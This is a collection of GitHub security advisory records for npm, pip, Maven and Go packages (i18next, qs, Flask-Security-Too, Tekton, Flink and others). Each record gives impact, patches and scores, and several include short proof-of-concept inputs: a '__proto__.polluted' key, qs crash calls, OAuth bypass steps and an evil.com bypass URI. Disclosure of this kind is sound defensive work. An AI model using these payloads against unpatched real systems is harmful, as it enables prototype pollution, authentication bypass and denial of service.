### Impact `i18next-fs-backend` ≤ 2.6.5, when used to persist missing translation keys (e.g. via `i18next-http-middleware`'s `missingKeyHandler` exposed to untrusted input), is vulnerable to prototype pollution via crafted missing-key strings. `Backend.writeFile()` splits each queued missing-key string on the configured `keySeparator` (default `.`) before calling the internal `setPath()` walker. The walker (`getLastOfPath` in `lib/utils.js`) did not guard against unsafe segments, so a key like `"__proto__.polluted"` was split into `["__proto__", "polluted"]` and walked straight into `Object.prototype`, allowing an attacker to write arbitrary properties onto the global object prototype. Depending on the host application, polluted prototype properties may cause crashes, corrupted translation behaviour, configuration poisoning, or bypasses of property-based security checks. ### Affected configuration Applications are directly affected only if **all** of the following hold: - `i18next-fs-backend` ≤ 2.6.5 is configured as the backend. - `i18next-http-middleware`'s `missingKeyHandler` (or another route that forwards untrusted request bodies to `i18next.t(..., { ... })` with `saveMissing: true`) is reachable by untrusted users. - The default behaviour of splitting missing-key strings on `keySeparator` is in use (i.e. `keySeparator` is not `false`). Apps that do not expose missing-key persistence to untrusted input are not directly affected through this attack path. ### Patches Fixed in **i18next-fs-backend 2.6.6**. The traversal helper now refuses to descend through `__proto__`, `constructor`, or `prototype` segments and drops the offending write silently. Legitimate dotted keys (e.g. `"header.title"`) are unaffected. A matching defence-in-depth fix has been shipped in `i18next-http-middleware` **3.9.7** — see the companion advisory. ### Workarounds If users cannot upgrade immediately: - Do not expose `i18next-http-middleware`'s `missingKeyHandler` to untrusted users (mount it behind authentication, or remove the route). - Disable missing-key persistence (`saveMissing: false`, or no `backend.create` implementation) when accepting writes from untrusted input. - Set `keySeparator: false` in the i18next options to disable backend key splitting (note: this also disables nested translation keys). ### Resources - Original report by [@codeswhite](https://github.com/codeswhite). - Companion advisory in `i18next-http-middleware`: [GHSA-f49m-vf83-692w](https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-f49m-vf83-692w). - Previous `i18next-fs-backend` security release: GHSA-8847-338w-5hcj (path traversal via `lng`/`ns`, fixed in 2.6.4).

critical

2026-06-25 20:28:46+03:00

2026-06-25 20:28:47+03:00

['https://github.com/i18next/i18next-fs-backend/security/advisories/GHSA-2933-q333-qg83', 'https://nvd.nist.gov/vuln/detail/CVE-2026-48713', 'https://github.com/i18next/i18next-fs-backend/commit/3ab0448087da6935a40117f904b7457281f963f4', 'https://github.com/advisories/GHSA-2933-q333-qg83']

[{'package': {'name': 'i18next-fs-backend', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '2.6.6', 'vulnerable_version_range': '< 2.6.6'}]

{'score': 9.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H'}

[{'name': "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')", 'cwe_id': 'CWE-1321'}]

e52eed180ff79ee31ab0831fef6a5cb2182be5d071544c27cdbb0ea71489af3a

2026-06-25 21:06:27.786635+03:00

2026-06-25 21:06:27.786635+03:00

GHSA-f49m-vf83-692w

CVE-2026-48714

i18next-http-middleware: MissingKeyHandler does not reject keys whose segments contain prototype-polluting names

### Impact `i18next-http-middleware` ≤ 3.9.6's `missingKeyHandler` blocked the literal request-body keys `__proto__`, `constructor`, and `prototype` (added in 3.9.3, see GHSA-5fgg-jcpf-8jjw), but did not reject dotted variants such as `"__proto__.polluted"`. Downstream backends that split the missing-key string on a configured `keySeparator` (notably `i18next-fs-backend` ≤ 2.6.5) hand these keys to an unguarded `setPath()` walker that writes to `Object.prototype`. Applications that expose `missingKeyHandler` to untrusted input **AND** use `i18next-fs-backend` ≤ 2.6.5 are directly exploitable for remote prototype pollution. Other downstream backends that split the missing-key string the same way may be similarly affected. Depending on the host application, polluted prototype properties may cause crashes, corrupted translation behaviour, configuration poisoning, or bypasses of property-based security checks. ### Patches Fixed in **i18next-http-middleware 3.9.7**. A new `utils.hasUnsafeKeySegment(key, keySeparator)` helper is now used by `missingKeyHandler`; the configured `i18next.options.keySeparator` is honoured (default `.`; `false` disables segment splitting and only the literal-key denylist applies). Legitimate dotted keys (e.g. `"header.title"`) are unaffected. The root-cause fix has been shipped in `i18next-fs-backend` **2.6.6** — see the companion advisory. ### Workarounds If users cannot upgrade immediately: - Do not expose `missingKeyHandler` to untrusted users (mount it behind authentication, or remove the route). - Add a request-body filter ahead of the handler that rejects any top-level key containing `__proto__`, `constructor`, or `prototype` after splitting on a configured `keySeparator`. - Disable missing-key persistence (`saveMissing: false`) when accepting writes from untrusted input. ### Resources - Original report by [@codeswhite](https://github.com/codeswhite). - Companion advisory in `i18next-fs-backend`: [GHSA-2933-q333-qg83](https://github.com/i18next/i18next-fs-backend/security/advisories/GHSA-2933-q333-qg83). - Previous `i18next-http-middleware` security release: GHSA-5fgg-jcpf-8jjw and GHSA-c3h8-g69v-pjrg (in 3.9.3).

critical

2026-06-25 20:28:12+03:00

2026-06-25 20:28:12+03:00

['https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-f49m-vf83-692w', 'https://nvd.nist.gov/vuln/detail/CVE-2026-48714', 'https://github.com/i18next/i18next-http-middleware/commit/7c6d26f137d3e940b8d229ca148bca38845faf49', 'https://github.com/advisories/GHSA-f49m-vf83-692w']

[{'package': {'name': 'i18next-http-middleware', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '3.9.7', 'vulnerable_version_range': '< 3.9.7'}]

{'score': 9.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H'}

[{'name': "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')", 'cwe_id': 'CWE-1321'}]

1b1318916adfa3d9296546da4578577746a0eddecfbf6a3456b938f89f9defaf

2026-06-25 21:06:27.786635+03:00

2026-06-25 21:06:27.786635+03:00

GHSA-f63h-wc26-pmvc

CVE-2026-8754

AstrBot: File upload vulnerability in the function post_file of the file astrbot/dashboard/routes/chat.py

A vulnerability was detected in AstrBotDevs AstrBot up to 4.23.5. Impacted is the function post_file of the file astrbot/dashboard/routes/chat.py of the component File Upload Handler. The manipulation of the argument filename results in path traversal. It is possible to launch the attack remotely. The exploit is now public and may be used. Upgrading to version 4.23.6 is recommended to address this issue. The patch is identified as aaec41e5054569ceaa1113593a34da7568e2d211. You should upgrade the affected component.

low

2026-05-17 18:31:42+03:00

2026-05-23 03:10:07+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-8754', 'https://github.com/AstrBotDevs/AstrBot/commit/aaec41e5054569ceaa1113593a34da7568e2d211', 'https://gist.github.com/YLChen-007/054415c2b63e58813328bc879a90c504', 'https://github.com/AstrBotDevs/AstrBot', 'https://github.com/AstrBotDevs/AstrBot/releases/tag/v4.23.6', 'https://vuldb.com/submit/811172', 'https://vuldb.com/vuln/364381', 'https://vuldb.com/vuln/364381/cti', 'https://github.com/advisories/GHSA-f63h-wc26-pmvc']

[{'package': {'name': 'AstrBot', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '4.23.6', 'vulnerable_version_range': '< 4.23.6'}]

{'score': 6.3, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L'}

[{'name': "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", 'cwe_id': 'CWE-22'}]

77c40b25361e0d9e17cdbc92cd144e42beda956ba3a1bb0499c67d151c9c0662

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-fmmw-44rp-jcfp

CVE-2026-8759

Beetl's SpELFunction extension function has an expression injection risk

A vulnerability was identified in xiandafu beetl up to 3.20.2. Affected is an unknown function of the file beetl-classic-integration/beetl-spring-classic/src/main/java/org/beetl/ext/spring/SpELFunction.java of the component SpELFunction. The manipulation leads to improper neutralization of special elements used in an expression language statement. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.

medium

2026-05-17 18:31:42+03:00

2026-05-23 03:09:57+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-8759', 'https://gitee.com/xiandafu/beetl', 'https://gitee.com/xiandafu/beetl/issues/IIYAWC', 'https://vuldb.com/submit/811316', 'https://vuldb.com/vuln/364386', 'https://vuldb.com/vuln/364386/cti', 'https://github.com/advisories/GHSA-fmmw-44rp-jcfp']

[{'package': {'name': 'com.ibeetl:beetl-spring-classic', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 3.20.2.RELEASE'}]

{'score': 7.3, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L'}

[{'name': 'Improper Input Validation', 'cwe_id': 'CWE-20'}]

b2e5d474fa1bfb767a566f57dc949aeb8c2d334eb282bad848cae60fcae3c506

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-386j-6m86-78f9

CVE-2026-46560

OpenAM: Unauthenticated Authentication Bypass via RADIUS Spoofing

## Summary **Description** An Improper Verification of Cryptographic Signature (CWE-347) issue in OpenAM's RADIUS authentication module allows an unauthenticated network attacker to spoof an Access-Accept response and obtain an OpenAM session for any RADIUS username, without knowing the configured shared secret. This affects OpenAM Community Edition through version 16.0.6 and was patched in version 16.1.1. The RADIUS client opens an unconnected datagram socket and treats the first UDP datagram delivered to its source port as authoritative. The receive path does not check the source IP/port, does not match the response identifier to the outstanding request, and does not verify the Response Authenticator (RFC 2865 §3); the RFC 2869 Message-Authenticator is neither sent nor required. Any non-Reject/non-Challenge packet is treated as success, so a forged Access-Accept is accepted as a valid login. ## Impact OpenAM Community Edition deployments through version 16.0.6 where an administrator has enabled a RADIUS module instance on a login chain are potentially affected. An attacker either races the real server on-path, or off-path sprays forged Access-Accept packets at the OpenAM client port. Because the client performs no verification of the response authenticator, no MD5 chosen-prefix forgery is required, which is is materially stronger than the BlastRADIUS family (CVE-2024-3596), in which an attacker must still forge a valid authenticator. Successful exploitation yields pre-authentication impersonation of any RADIUS-mapped user in any affected realm. The resulting session is indistinguishable from a legitimate RADIUS login and carries the named principal's privileges. ## Patch This has been patched in OpenAM Community Edition version 16.1.1. Users are encouraged to update to the latest release.

high

2026-06-25 20:22:24+03:00

2026-06-25 20:22:26+03:00

['https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-386j-6m86-78f9', 'https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/16.1.1', 'https://github.com/advisories/GHSA-386j-6m86-78f9']

[{'package': {'name': 'org.openidentityplatform.openam:openam-radius', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '16.1.1', 'vulnerable_version_range': '< 16.1.1'}]

{'score': 7.5, 'vector_string': 'CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': 'Improper Verification of Cryptographic Signature', 'cwe_id': 'CWE-347'}]

d5fdb61e56201bddad21fe0b3f4854a3dfa91afc8dc5192d94ecf3ed89517ef6

2026-06-25 21:06:27.786635+03:00

2026-06-25 21:06:27.786635+03:00

GHSA-97r5-pg8x-p63p

CVE-2026-46715

Flask-Security-Too OAuth reauthentication freshness bypass via cross- user OAuth identity acceptance

### Summary Flask-Security-Too 5.8.0's OAuth reauthentication flow can mark a session as fresh after verifying an OAuth account that belongs to a different user. If an attacker can operate an already-authenticated but stale victim session, they can complete OAuth verification using their own OAuth identity. The victim session is then treated as recently reauthenticated, allowing freshness-protected account actions to proceed. This was reproduced against the built-in `/change-username` route. ### Details The issue is in the OAuth verification callback. `_oauth_response_common()` resolves the OAuth provider identity to a Flask-Security user: - `flask_security/oauth_glue.py:101-108` `oauth_verify_response()` then accepts any resolved user and updates the current session freshness timestamp: - `flask_security/oauth_glue.py:182-214` - `flask_security/oauth_glue.py:201-204` The missing check is that the OAuth-resolved user must match the current authenticated session user. In the failing case: - current session user: `victim@example.com` - OAuth verified user: `attacker@example.com` - session marked fresh: yes So the attacker is not logging in as the victim, but they are satisfying the victim session's reauthentication requirement with a different account. ### PoC Tested version: - `Flask-Security-Too 5.8.0` - tag `5.8.0` - commit `08288dff6907e413d848a16aaf43fc2c2b2a3b72` Used a minimal Flask app with: ```python SECURITY_OAUTH_ENABLE = True SECURITY_OAUTH_BUILTIN_PROVIDERS = ["github"] SECURITY_FRESHNESS = timedelta(seconds=1) SECURITY_FRESHNESS_GRACE_PERIOD = timedelta(seconds=0) SECURITY_USERNAME_ENABLE = True SECURITY_CHANGE_USERNAME = True The OAuth provider was replaced with a localhost mock provider returning attacker@example.com. This avoids hitting a live third-party provider while still exercising Flask-Security-Too's real OAuth verification handler. Reproduction steps: 1. Log in as victim@example.com. 2. Wait until the session is no longer fresh. 3. Confirm POST /change-username is blocked with 401 and reauth_required=true. 4. Start OAuth verification with POST /login/oauth-verify-start/ github. 5. Complete the callback with an OAuth identity for attacker@example.com. 6. Confirm the session is still for victim@example.com, but fs_paa has been updated. 7. Retry POST /change-username. 8. The victim user's username is changed successfully. Observed result: { "pre_bypass_status": 401, "pre_bypass_reauth_required": true, "attacker_identity": "attacker@example.com", "oauth_verify_response_status": 302, "post_bypass_change_username_status": 200, "final_email": "victim@example.com", "final_username": "victimowned1777878574", "direct_impact_verified": true } Note: CSRF was disabled in the local harness only to keep the test focused on the reauthentication check. This is not a CSRF bypass report. This bypasses Flask-Security-Too's freshness/reauthentication boundary. Applications using OAuth verification together with freshness- protected account operations may allow a stale victim session to be refreshed using a different user's OAuth account. In my test, this allowed the victim account's username to be changed through Flask- Security-Too's built-in /change-username route. A likely fix is to reject OAuth verification unless the resolved OAuth user matches current_user before updating session["fs_paa"].

medium

2026-05-22 20:48:54+03:00

2026-05-22 20:49:44+03:00

['https://github.com/pallets-eco/flask-security/security/advisories/GHSA-97r5-pg8x-p63p', 'https://github.com/advisories/GHSA-97r5-pg8x-p63p']

[{'package': {'name': 'Flask-Security-Too', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '5.8.1', 'vulnerable_version_range': '>= 5.8.0, < 5.8.1'}]

{'score': None, 'vector_string': None}

[{'name': 'Improper Authentication', 'cwe_id': 'CWE-287'}]

3172e78d454aa125c7cd418aec153c62effd39e74167d8f3679a20ebc3a632b2

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-7m8f-hgjq-8gc9

aiosend: Deserialization of request body before signature verification (Pre-auth DoS) in webhook handler

# Vulnerability Description In `aiosend/webhook/base.py`, the `WebhookHandler.feed_update()` method performs full deserialization of the incoming JSON via Pydantic **before** verifying the HMAC signature. Anyone can send a request with an arbitrary body — the server will parse it, spend CPU and memory, and only then reject it. ## Vulnerable Code ```python # aiosend/webhook/base.py — feed_update() update = Update.model_validate(body, context={"client": self}) # parsing — always if not self._check_signature(body, headers): # auth — too late return False ``` Additional aggravating factor: `CryptoPayObject` is declared with `ConfigDict(extra="allow")` — all arbitrary fields from the body are stored in memory without any limits. ## Minimal PoC Requests with deliberately invalid signatures (zero credentials): | extra_fields | body_size | parse_time | status | |---|---|---|---| | 0 | 336 B | 26 µs | **403 REJECTED** | | 1,000 | 82 KB | 257 µs | **403 REJECTED** | | 5,000 | 410 KB | 1,183 µs | **403 REJECTED** | | 10,000 | 820 KB | 2,552 µs | **403 REJECTED** | | 10,000 (×512B) | 5.3 MB | 7,490 µs | **403 REJECTED** | All requests were rejected — but the server already performed parsing for each one. 10 parallel threads with 5 MB bodies = >75 ms of CPU spent on requests that will never be authorized. ## Affected Components - `aiosend/webhook/base.py` — `WebhookHandler.feed_update()` - `aiosend/types/base.py` — `CryptoPayObject` (`extra="allow"`) - All adapters: `AiohttpManager`, `FastAPIManager`, `FlaskManager` ## Exploitation Conditions - **Attacker**: anyone with network access to the webhook endpoint - **Authentication**: not required - **Body size limit**: absent at the library level (Flask and FastAPI have no default limit) --- The advisory was translated using Copilot.

high

2026-05-22 20:27:56+03:00

2026-05-22 20:27:59+03:00

['https://github.com/vovchic17/aiosend/security/advisories/GHSA-7m8f-hgjq-8gc9', 'https://github.com/advisories/GHSA-7m8f-hgjq-8gc9']

[{'package': {'name': 'aiosend', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '3.0.6', 'vulnerable_version_range': '< 3.0.6'}]

{'score': 7.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}

[{'name': 'Uncontrolled Resource Consumption', 'cwe_id': 'CWE-400'}]

3f743e580bf2b3bd166f689e71d523918e36498dd81e48277af8bfeed91a9471

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-q8mj-m7cp-5q26

CVE-2026-8723

qs has a remotely triggerable DoS: qs.stringify crashes with TypeError on null/undefined entries in comma-format arrays when encodeValuesOnly is set

### Summary `qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`). ### Details In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining: ```js obj = utils.maybeMap(obj, encoder); ``` `utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run. Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1. #### PoC ```js const qs = require('qs'); qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true }); // TypeError: Cannot read properties of null (reading 'length') // at encode (lib/utils.js:195:13) // at Object.maybeMap (lib/utils.js:322:37) // at stringify (lib/stringify.js:145:25) ``` #### Fix `lib/stringify.js:145`, applied in 21f80b3 on `main`: ```diff - obj = utils.maybeMap(obj, encoder); + obj = utils.maybeMap(obj, function (v) { + return v == null ? v : encoder(v); + }); ``` `null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop. ### Affected versions `>=6.11.1 <=6.15.1` The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions. ### Impact Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled. The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).

medium

2026-05-22 20:27:19+03:00

2026-05-22 20:27:20+03:00

['https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26', 'https://nvd.nist.gov/vuln/detail/CVE-2026-8723', 'https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41', 'https://github.com/advisories/GHSA-q8mj-m7cp-5q26']

[{'package': {'name': 'qs', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '6.15.2', 'vulnerable_version_range': '>= 6.11.1, <= 6.15.1'}]

{'score': 5.3, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L'}

[{'name': 'NULL Pointer Dereference', 'cwe_id': 'CWE-476'}]

7b07e5e0f06817745c15ebb5eaf5cea5e82cd8c3c26dc7bfe9262f6e05dfce19

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-rmx9-2pp3-xhcr

CVE-2026-25542

Tekton Pipelines has VerificationPolicy regex pattern bypass via substring matching

hey guys, triage contract this is a first-screen summary; deterministic proof is in the proof bundle (canonical.log/control.log/witness.txt). summary trusted resources verification policies match a resource source string (`refSource.URI`) against `spec.resources[].pattern` using `regexp.MatchString`. in go, `regexp.MatchString` reports a match if the pattern matches anywhere in the string, so common unanchored patterns (including examples in tekton documentation) can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. this can cause an unintended policy match and change which verification mode/keys apply. pins - repo: https://github.com/tektoncd/pipeline - commit: 0133513db03dadb3cb08801d6b0330badcb63830 - callsite: pkg/trustedresources/verify.go:118-137 (getMatchedPolicies) severity MEDIUM (provisional CVSS 5.3–6.5) (signing request tampering) repro (canonical) - command: unzip -q -o poc.zip -d poc && cd poc/poc-F-TEKTON-REGEX-001 && make canonical - expected: cap not reached; canonical does not emit the vulnerability markers. - actual: cap reached; canonical emits the vulnerability markers. - canonical markers (mandatory): [CALLSITE\_HIT] + [PROOF\_MARKER] negative control - command: unzip -q -o poc.zip -d poc && cd poc/poc-F-TEKTON-REGEX-001 && make control - expected: cap not reached under the same harness; control emits the control marker and does not emit the vulnerability markers. - control markers (mandatory): [CALLSITE\_HIT] + [NC\_MARKER] fix consider making matching safe-by-default by requiring full-string matches (or validating patterns and documenting substring semantics clearly). one option is to anchor patterns before matching (e.g., wrap `pattern` as `^(?:pattern)$` when not already anchored), or to provide a separate field for exact match vs regex match. fix accepted when: under the same harness, canonical still hits [CALLSITE\_HIT] but does not emit [PROOF\_MARKER]. proof bundle pointers - bundle: poc.zip - bundle convention: zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions - contains: canonical.log, control.log, witness.txt - extracted paths: after extraction, see ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt - verify: compare shasum -a 256 for canonical.log/control.log/fix.patch/test source against witness.txt - supported-mode note: if your supported integration uses verified https app-links/universal links only, provide the supported tag/branch and we can retest on that pin. [poc.zip](https://github.com/user-attachments/files/24833926/poc.zip) --- impact an attacker can craft a trusted resources source string that embeds a trusted substring and still matches an unanchored verificationpolicy `spec.resources[].pattern`, even if the policy is intended to constrain matches to a specific trusted source. this occurs because `regexp.MatchString` succeeds on substring matches, so patterns like `https://github.com/tektoncd/catalog.git` match attacker-controlled sources such as `https://evil.com/?x=https://github.com/tektoncd/catalog.git`. affected: deployments using trusted resources verification with unanchored verificationpolicy patterns, where an attacker can influence the `refSource.URI` value used for policy matching. not affected: deployments that anchor all patterns (`^...$`) or otherwise enforce full-string matching; deployments where attackers cannot influence `refSource.URI`. steps to reproduce ```bash unzip -q -o poc.zip -d /tmp/poc-tekton-regex-001 cd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001 bash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log bash ./run.sh control | tee /tmp/tekton-regex-001-control.log grep -n '\\[PROOF_MARKER\\]' /tmp/tekton-regex-001-canonical.log && grep -n '\\[NC_MARKER\\]' /tmp/tekton-regex-001-control.log && ! grep -n '\\[PROOF_MARKER\\]' /tmp/tekton-regex-001-control.log ``` suggested patch options: - make matching safe-by-default by anchoring patterns before matching (or by validating and rejecting unanchored patterns). - document the substring semantics explicitly and update documentation examples to include anchors. workarounds anchor verificationpolicy resource patterns so they must match the full source string. example: - `^https://github.com/tektoncd/catalog\\.git$` best, oleh

medium

2026-04-21 19:25:19+03:00

2026-05-22 19:05:26+03:00

['https://github.com/tektoncd/pipeline/security/advisories/GHSA-rmx9-2pp3-xhcr', 'https://github.com/tektoncd/pipeline/commit/2c398711e6e9e232180508f0648425a8ea34dc9e', 'https://github.com/tektoncd/pipeline/releases/tag/v1.11.0', 'https://nvd.nist.gov/vuln/detail/CVE-2026-25542', 'https://github.com/tektoncd/pipeline/commit/b8905600322aa86327baae0a7c04d6cf1207362a', 'https://github.com/advisories/GHSA-rmx9-2pp3-xhcr']

[{'package': {'name': 'github.com/tektoncd/pipeline', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '1.0.2', 'vulnerable_version_range': '>= 0.43.0, < 1.0.2'}, {'package': {'name': 'github.com/tektoncd/pipeline', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '1.3.4', 'vulnerable_version_range': '>= 1.2.0, < 1.3.4'}, {'package': {'name': 'github.com/tektoncd/pipeline', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '1.6.2', 'vulnerable_version_range': '>= 1.4.0, < 1.6.2'}, {'package': {'name': 'github.com/tektoncd/pipeline', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '1.9.3', 'vulnerable_version_range': '>= 1.7.0, < 1.9.3'}, {'package': {'name': 'github.com/tektoncd/pipeline', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '1.11.1', 'vulnerable_version_range': '>= 1.10.0, < 1.11.1'}]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N'}

[{'name': 'Incorrect Regular Expression', 'cwe_id': 'CWE-185'}]

840b9a3ea629b7dd1957c32b187e93794e8341f4acb9ae4e26b4b564371f01fe

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-2f54-v4hm-fx73

CVE-2026-35194

Apache Flink: Remote code execution via SQL injection in code generation

Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary code on TaskManagers via maliciously crafted SQL queries. The vulnerability affects JSON functions (1.15.0+) and LIKE expressions with ESCAPE clauses (1.17.0+). User-controlled strings are interpolated into generated Java code without proper escaping, allowing attackers to break out of string literals and inject arbitrary expressions. Users are recommended to upgrade to either version 1.20.4, 2.0.2, 2.1.2 or 2.2.1, which fixes this issue.

high

2026-05-15 21:30:34+03:00

2026-05-22 18:49:49+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-35194', 'https://lists.apache.org/thread/qh52bw4hhvy7n2owd8b3bt51mz0lvj9x', 'http://www.openwall.com/lists/oss-security/2026/05/15/20', 'https://github.com/apache/flink/commit/64007b131d689158af90ca1c1b71b018129a85c5', 'https://github.com/apache/flink/commit/8db22cf8fbc4c785f6ffd41c2fd3e8b64a9688cd', 'https://github.com/advisories/GHSA-2f54-v4hm-fx73']

[{'package': {'name': 'org.apache.flink:flink-table-planner_2.12', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '1.20.4', 'vulnerable_version_range': '>= 1.15.0, < 1.20.4'}, {'package': {'name': 'org.apache.flink:flink-table-planner_2.12', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.0.2', 'vulnerable_version_range': '>= 2.0.0, < 2.0.2'}, {'package': {'name': 'org.apache.flink:flink-table-planner_2.12', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.1.2', 'vulnerable_version_range': '>= 2.1.0, < 2.1.2'}, {'package': {'name': 'org.apache.flink:flink-table-planner_2.12', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.2.1', 'vulnerable_version_range': '>= 2.2.0, < 2.2.1'}, {'package': {'name': 'org.apache.flink:flink-table-api-java', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '1.20.4', 'vulnerable_version_range': '>= 1.15.0, < 1.20.4'}, {'package': {'name': 'org.apache.flink:flink-table-api-java', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.0.2', 'vulnerable_version_range': '>= 2.0.0, < 2.0.2'}, {'package': {'name': 'org.apache.flink:flink-table-api-java', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.1.2', 'vulnerable_version_range': '>= 2.1.0, < 2.1.2'}, {'package': {'name': 'org.apache.flink:flink-table-api-java', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.2.1', 'vulnerable_version_range': '>= 2.2.0, < 2.2.1'}, {'package': {'name': 'org.apache.flink:flink-table-runtime', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '1.20.4', 'vulnerable_version_range': '>= 1.15.0, < 1.20.4'}, {'package': {'name': 'org.apache.flink:flink-table-runtime', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.0.2', 'vulnerable_version_range': '>= 2.0.0, < 2.0.2'}, {'package': {'name': 'org.apache.flink:flink-table-runtime', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.1.2', 'vulnerable_version_range': '>= 2.1.0, < 2.1.2'}, {'package': {'name': 'org.apache.flink:flink-table-runtime', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '2.2.1', 'vulnerable_version_range': '>= 2.2.0, < 2.2.1'}]

{'score': 8.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N'}

[{'name': "Improper Control of Generation of Code ('Code Injection')", 'cwe_id': 'CWE-94'}]

